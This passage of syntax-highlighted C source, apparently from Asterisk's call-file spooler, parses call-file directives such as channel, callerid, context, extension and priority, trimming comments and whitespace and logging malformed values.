&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="kt">int&lt;/span> &lt;span class="n">lineno&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="mi">0&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">struct&lt;/span> &lt;span class="n">ast_variable&lt;/span> &lt;span class="o">*&lt;/span>&lt;span class="n">var&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="o">*&lt;/span>&lt;span class="n">last&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">o&lt;/span>&lt;span class="o">-&amp;gt;&lt;/span>&lt;span class="n">vars&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">while&lt;/span> &lt;span class="p">(&lt;/span>&lt;span class="n">last&lt;/span> &lt;span class="o">&amp;amp;&amp;amp;&lt;/span> &lt;span class="n">last&lt;/span>&lt;span class="o">-&amp;gt;&lt;/span>&lt;span class="n">next&lt;/span>&lt;span class="p">)&lt;/span> &lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">last&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">last&lt;/span>&lt;span class="o">-&amp;gt;&lt;/span>&lt;span class="n">next&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">}&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">while&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="nf">fgets&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">buf&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="k">sizeof&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">buf&lt;/span>&lt;span class="p">),&lt;/span> &lt;span class="n">f&lt;/span>&lt;span class="p">))&lt;/span> &lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">lineno&lt;/span>&lt;span class="o">++&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="c1">// Trim comments.
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">&lt;/span> &lt;span class="n">c&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">buf&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">while&lt;/span> &lt;span class="p">((&lt;/span>&lt;span class="n">c&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="nf">strchr&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">c&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="sc">&amp;#39;#&amp;#39;&lt;/span>&lt;span class="p">)))&lt;/span> &lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">if&lt;/span> &lt;span class="p">((&lt;/span>&lt;span class="n">c&lt;/span> &lt;span class="o">==&lt;/span> &lt;span class="n">buf&lt;/span>&lt;span class="p">)&lt;/span> &lt;span class="o">||&lt;/span> &lt;span class="p">(&lt;/span>&lt;span class="o">*&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">c&lt;/span>&lt;span class="o">-&lt;/span>&lt;span class="mi">1&lt;/span>&lt;span class="p">)&lt;/span> &lt;span class="o">==&lt;/span> &lt;span class="sc">&amp;#39; &amp;#39;&lt;/span>&lt;span class="p">)&lt;/span> &lt;span class="o">||&lt;/span> &lt;span class="p">(&lt;/span>&lt;span class="o">*&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">c&lt;/span>&lt;span class="o">-&lt;/span>&lt;span class="mi">1&lt;/span>&lt;span class="p">)&lt;/span> &lt;span class="o">==&lt;/span> &lt;span class="sc">&amp;#39;\t&amp;#39;&lt;/span>&lt;span class="p">))&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="o">*&lt;/span>&lt;span class="n">c&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="sc">&amp;#39;\0&amp;#39;&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">else&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">c&lt;/span>&lt;span class="o">++&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">}&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">c&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">buf&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">while&lt;/span> &lt;span class="p">((&lt;/span>&lt;span class="n">c&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="nf">strchr&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">c&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="sc">&amp;#39;;&amp;#39;&lt;/span>&lt;span class="p">)))&lt;/span> &lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">if&lt;/span> &lt;span class="p">((&lt;/span>&lt;span class="n">c&lt;/span> &lt;span class="o">&amp;gt;&lt;/span> &lt;span class="n">buf&lt;/span>&lt;span class="p">)&lt;/span> &lt;span class="o">&amp;amp;&amp;amp;&lt;/span> &lt;span class="p">(&lt;/span>&lt;span class="n">c&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="o">-&lt;/span>&lt;span class="mi">1&lt;/span>&lt;span class="p">]&lt;/span> &lt;span class="o">==&lt;/span> &lt;span class="sc">&amp;#39;\\&amp;#39;&lt;/span>&lt;span class="p">))&lt;/span> &lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nf">memmove&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">c&lt;/span> &lt;span class="o">-&lt;/span> &lt;span class="mi">1&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">c&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="nf">strlen&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">c&lt;/span>&lt;span class="p">)&lt;/span> &lt;span class="o">+&lt;/span> &lt;span class="mi">1&lt;/span>&lt;span class="p">);&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">c&lt;/span>&lt;span class="o">++&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">}&lt;/span> &lt;span class="k">else&lt;/span> &lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="o">*&lt;/span>&lt;span class="n">c&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="sc">&amp;#39;\0&amp;#39;&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">break&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">}&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">}&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="c1">// Trim trailing white space.
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">&lt;/span> &lt;span class="k">while&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="o">!&lt;/span>&lt;span class="nf">ast_strlen_zero&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">buf&lt;/span>&lt;span class="p">)&lt;/span> &lt;span class="o">&amp;amp;&amp;amp;&lt;/span> &lt;span class="n">buf&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="nf">strlen&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">buf&lt;/span>&lt;span class="p">)&lt;/span> &lt;span class="o">-&lt;/span> &lt;span class="mi">1&lt;/span>&lt;span class="p">]&lt;/span> &lt;span class="o">&amp;lt;&lt;/span> &lt;span class="mi">33&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">buf&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="nf">strlen&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">buf&lt;/span>&lt;span class="p">)&lt;/span> &lt;span class="o">-&lt;/span> &lt;span class="mi">1&lt;/span>&lt;span class="p">]&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="sc">&amp;#39;\0&amp;#39;&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">if&lt;/span> &lt;span class="p">(&lt;/span>&lt;span class="o">!&lt;/span>&lt;span class="nf">ast_strlen_zero&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">buf&lt;/span>&lt;span class="p">))&lt;/span> &lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="c1">// Split the directive into two parts. Command and value.
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">&lt;/span> &lt;span class="n">c&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="nf">strchr&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">buf&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="sc">&amp;#39;:&amp;#39;&lt;/span>&lt;span class="p">);&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">if&lt;/span> &lt;span class="p">(&lt;/span>&lt;span class="n">c&lt;/span>&lt;span class="p">)&lt;/span> &lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="o">*&lt;/span>&lt;span class="n">c&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="sc">&amp;#39;\0&amp;#39;&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">c&lt;/span>&lt;span class="o">++&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">while&lt;/span> &lt;span class="p">((&lt;/span>&lt;span class="o">*&lt;/span>&lt;span class="n">c&lt;/span>&lt;span class="p">)&lt;/span> &lt;span class="o">&amp;amp;&amp;amp;&lt;/span> &lt;span class="p">(&lt;/span>&lt;span class="o">*&lt;/span>&lt;span class="n">c&lt;/span> &lt;span class="o">&amp;lt;&lt;/span> &lt;span class="mi">33&lt;/span>&lt;span class="p">))&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">c&lt;/span>&lt;span class="o">++&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="cp">#if 0&lt;/span>&lt;span class="c">
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c"> printf(&amp;#34;&amp;#39;%s&amp;#39; is &amp;#39;%s&amp;#39; at line %d\n&amp;#34;, buf, c, lineno);
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c">&lt;/span>&lt;span class="cp">#endif
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="cp">&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="c1">// Analyze the command, and populate the outgoing struct.
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">&lt;/span> &lt;span class="k">if&lt;/span> &lt;span class="p">(&lt;/span>&lt;span class="o">!&lt;/span>&lt;span class="nf">strcasecmp&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">buf&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="s">&amp;#34;channel&amp;#34;&lt;/span>&lt;span class="p">))&lt;/span> &lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">if&lt;/span> &lt;span class="p">((&lt;/span>&lt;span class="n">c2&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="nf">strchr&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">c&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="sc">&amp;#39;/&amp;#39;&lt;/span>&lt;span class="p">)))&lt;/span> &lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="o">*&lt;/span>&lt;span class="n">c2&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="sc">&amp;#39;\0&amp;#39;&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">c2&lt;/span>&lt;span class="o">++&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nf">ast_string_field_set&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">o&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">tech&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">c&lt;/span>&lt;span class="p">);&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nf">ast_string_field_set&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">o&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">dest&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">c2&lt;/span>&lt;span class="p">);&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">}&lt;/span> &lt;span class="k">else&lt;/span> &lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nf">ast_log&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">LOG_NOTICE&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="s">&amp;#34;Channel should be in form &amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="s">&amp;#34;Tech/Dest at line %d of %s&lt;/span>&lt;span class="se">\n&lt;/span>&lt;span class="s">&amp;#34;&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">lineno&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">fn&lt;/span>&lt;span class="p">);&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">}&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">}&lt;/span> &lt;span class="k">else&lt;/span> &lt;span class="k">if&lt;/span> &lt;span class="p">(&lt;/span>&lt;span class="o">!&lt;/span>&lt;span class="nf">strcasecmp&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">buf&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="s">&amp;#34;callerid&amp;#34;&lt;/span>&lt;span class="p">))&lt;/span> &lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="kt">char&lt;/span> &lt;span class="n">cid_name&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="mi">80&lt;/span>&lt;span class="p">]&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="p">{&lt;/span>&lt;span class="mi">0&lt;/span>&lt;span class="p">},&lt;/span> &lt;span class="n">cid_num&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="mi">80&lt;/span>&lt;span class="p">]&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="p">{&lt;/span>&lt;span class="mi">0&lt;/span>&lt;span class="p">};&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nf">ast_callerid_split&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">c&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">cid_name&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="k">sizeof&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">cid_name&lt;/span>&lt;span class="p">),&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">cid_num&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="k">sizeof&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">cid_num&lt;/span>&lt;span class="p">));&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nf">ast_string_field_set&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">o&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">cid_num&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">cid_num&lt;/span>&lt;span class="p">);&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nf">ast_string_field_set&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">o&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">cid_name&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">cid_name&lt;/span>&lt;span class="p">);&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">}&lt;/span> &lt;span class="k">else&lt;/span> &lt;span class="k">if&lt;/span> &lt;span class="p">(&lt;/span>&lt;span class="o">!&lt;/span>&lt;span class="nf">strcasecmp&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">buf&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="s">&amp;#34;application&amp;#34;&lt;/span>&lt;span class="p">))&lt;/span> &lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nf">ast_string_field_set&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">o&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">app&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">c&lt;/span>&lt;span class="p">);&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">}&lt;/span> &lt;span class="k">else&lt;/span> &lt;span class="k">if&lt;/span> &lt;span class="p">(&lt;/span>&lt;span class="o">!&lt;/span>&lt;span class="nf">strcasecmp&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">buf&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="s">&amp;#34;data&amp;#34;&lt;/span>&lt;span class="p">))&lt;/span> &lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nf">ast_string_field_set&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">o&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">data&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">c&lt;/span>&lt;span class="p">);&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">}&lt;/span> &lt;span class="k">else&lt;/span> &lt;span class="k">if&lt;/span> &lt;span class="p">(&lt;/span>&lt;span class="o">!&lt;/span>&lt;span class="nf">strcasecmp&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">buf&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="s">&amp;#34;maxretries&amp;#34;&lt;/span>&lt;span class="p">))&lt;/span> &lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">if&lt;/span> &lt;span class="p">(&lt;/span>&lt;span class="nf">sscanf&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">c&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="s">&amp;#34;%30d&amp;#34;&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="o">&amp;amp;&lt;/span>&lt;span class="n">o&lt;/span>&lt;span class="o">-&amp;gt;&lt;/span>&lt;span class="n">maxretries&lt;/span>&lt;span class="p">)&lt;/span> &lt;span class="o">!=&lt;/span> &lt;span class="mi">1&lt;/span>&lt;span class="p">)&lt;/span> &lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nf">ast_log&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">LOG_WARNING&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="s">&amp;#34;Invalid max retries at line %d &amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="s">&amp;#34;of %s&lt;/span>&lt;span class="se">\n&lt;/span>&lt;span class="s">&amp;#34;&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">lineno&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">fn&lt;/span>&lt;span class="p">);&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">o&lt;/span>&lt;span class="o">-&amp;gt;&lt;/span>&lt;span class="n">maxretries&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="mi">0&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">}&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">}&lt;/span> &lt;span class="k">else&lt;/span> &lt;span class="k">if&lt;/span> &lt;span class="p">(&lt;/span>&lt;span class="o">!&lt;/span>&lt;span class="nf">strcasecmp&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">buf&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="s">&amp;#34;codecs&amp;#34;&lt;/span>&lt;span class="p">))&lt;/span> &lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nf">ast_parse_allow_disallow&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="nb">NULL&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="o">&amp;amp;&lt;/span>&lt;span class="n">o&lt;/span>&lt;span class="o">-&amp;gt;&lt;/span>&lt;span class="n">format&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">c&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="mi">1&lt;/span>&lt;span class="p">);&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">}&lt;/span> &lt;span class="k">else&lt;/span> &lt;span class="k">if&lt;/span> &lt;span class="p">(&lt;/span>&lt;span class="o">!&lt;/span>&lt;span class="nf">strcasecmp&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">buf&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="s">&amp;#34;context&amp;#34;&lt;/span>&lt;span class="p">))&lt;/span> &lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nf">ast_string_field_set&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">o&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">context&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">c&lt;/span>&lt;span class="p">);&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">}&lt;/span> &lt;span class="k">else&lt;/span> &lt;span class="k">if&lt;/span> &lt;span class="p">(&lt;/span>&lt;span class="o">!&lt;/span>&lt;span class="nf">strcasecmp&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">buf&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="s">&amp;#34;extension&amp;#34;&lt;/span>&lt;span class="p">))&lt;/span> &lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nf">ast_string_field_set&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">o&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">exten&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">c&lt;/span>&lt;span class="p">);&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">}&lt;/span> &lt;span class="k">else&lt;/span> &lt;span class="k">if&lt;/span> &lt;span class="p">(&lt;/span>&lt;span class="o">!&lt;/span>&lt;span class="nf">strcasecmp&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">buf&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="s">&amp;#34;priority&amp;#34;&lt;/span>&lt;span class="p">))&lt;/span> &lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">if&lt;/span> &lt;span class="p">((&lt;/span>&lt;span class="nf">sscanf&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">c&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="s">&amp;#34;%30d&amp;#34;&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="o">&amp;amp;&lt;/span>&lt;span class="n">o&lt;/span>&lt;span class="o">-&amp;gt;&lt;/span>&lt;span class="n">priority&lt;/span>&lt;span class="p">)&lt;/span> &lt;span class="o">!=&lt;/span> &lt;span class="mi">1&lt;/span>&lt;span class="p">)&lt;/span> &lt;span class="o">||&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">(&lt;/span>&lt;span class="n">o&lt;/span>&lt;span class="o">-&amp;gt;&lt;/span>&lt;span class="n">priority&lt;/span> &lt;span class="o">&amp;lt;&lt;/span> &lt;span class="mi">1&lt;/span>&lt;span class="p">))&lt;/span> &lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nf">ast_log&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">LOG_WARNING&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="s">&amp;#34;Invalid priority at line %d of &amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="s">&amp;#34;%s&lt;/span>&lt;span class="se">\n&lt;/span>&lt;span class="s">&amp;#34;&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">lineno&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">fn&lt;/span>&lt;span class="p">);&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">o&lt;/span>&lt;span class="o">-&amp;gt;&lt;/span>&lt;span class="n">priority&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="mi">1&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">}&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">}&lt;/span> &lt;span class="k">else&lt;/span> &lt;span class="k">if&lt;/span> &lt;span class="p">(&lt;/span>&lt;span class="o">!&lt;/span>&lt;span class="nf">strcasecmp&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">buf&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="s">&amp;#34;retrytime&amp;#34;&lt;/span>&lt;span class="p">))&lt;/span> &lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">if&lt;/span> &lt;span class="p">((&lt;/span>&lt;span class="nf">sscanf&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">c&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="s">&amp;#34;%30d&amp;#34;&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="o">&amp;amp;&lt;/span>&lt;span class="n">o&lt;/span>&lt;span class="o">-&amp;gt;&lt;/span>&lt;span class="n">retrytime&lt;/span>&lt;span class="p">)&lt;/span> &lt;span class="o">!=&lt;/span> &lt;span class="mi">1&lt;/span>&lt;span class="p">)&lt;/span> &lt;span class="o">||&lt;/span>
